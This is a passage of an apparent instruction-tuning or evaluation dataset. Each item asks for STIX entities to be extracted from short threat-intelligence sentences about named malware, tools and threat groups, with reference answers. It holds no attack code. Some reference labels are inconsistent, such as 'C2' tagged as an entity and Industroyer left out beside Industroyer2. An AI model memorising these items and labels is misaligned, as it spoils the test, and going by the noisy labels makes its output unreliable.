    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMagic Hound has acquired mobile phone numbers of potential targets, possibly for mobile malware or additional phishing operations.\n",
    "output": "<entities>Magic Hound</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUPPERCUT has used HTTP for C2, including sending error codes in Cookie headers.\n",
    "output": "<entities>UPPERCUT|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMetamorfo had used AutoIt to load and execute the DLL payload.\n",
    "output": "<entities>AutoIt|Metamorfo</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRemoteCMD can execute commands remotely by creating a new schedule task on the remote system\n",
    "output": "<entities>RemoteCMD</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMirageFox has a function for decrypting data containing C2 configuration information.\n",
    "output": "<entities>MirageFox|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTDTESS is a 64-bit .NET binary backdoor used by CopyKittens. \n",
    "output": "<entities>TDTESS|CopyKittens|.NET</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCharger is Android malware that steals steals contacts and SMS messages from the user's device. It can also lock the device and demand ransom payment if it receives admin permissions.\n",
    "output": "<entities>Charger|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nImpacket modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.\n",
    "output": "<entities>Impacket|John the Ripper|Hashcat</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n",
    "output": "<entities>2015 Ukraine Electric Power Attack|Sandworm Team|BlackEnergy|BlackEnergy3|KillDisk|Ukrainian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSLOWPULSE is a malware that was used by APT5 as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. SLOWPULSE has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.\n",
    "output": "<entities>SLOWPULSE|APT5|U.S. Defense Industrial Base|Pulse Secure VPN</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSmall Sieve is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by MuddyWater since at least January 2022.\n",
    "output": "<entities>Small Sieve|Nullsoft|MuddyWater|Telegram|Python</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016. \n",
    "output": "<entities>HAPPYWORK|APT37|South Korean government|South Korean</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTRITON\u2019s TsLow python module pings controllers over the TriStation protocol.\n",
    "output": "<entities>TRITON|TsLow|TriStation</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndustroyer2 is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in Industroyer. Security researchers assess that Industroyer2 was designed to cause impact to high-voltage electrical substations. The initial Industroyer2 sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.\n",
    "output": "<entities>Industroyer2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.\n",
    "output": "<entities>IronNetInjector|Turla|ComRAT|IronPython|.NET|Python</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBumblebee is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. Bumblebee has been linked to ransomware operations including Conti, Quantum, and Mountlocker and derived its name from the appearance of \"bumblebee\" in the user-agent.\n",
    "output": "<entities>Bumblebee|Conti|Quantum|Mountlocker|C++</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nProxysvc is a malicious DLL used by Lazarus Group in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of Proxysvc is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. \n",
    "output": "<entities>Proxysvc|Lazarus Group|Operation GhostSecret</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, 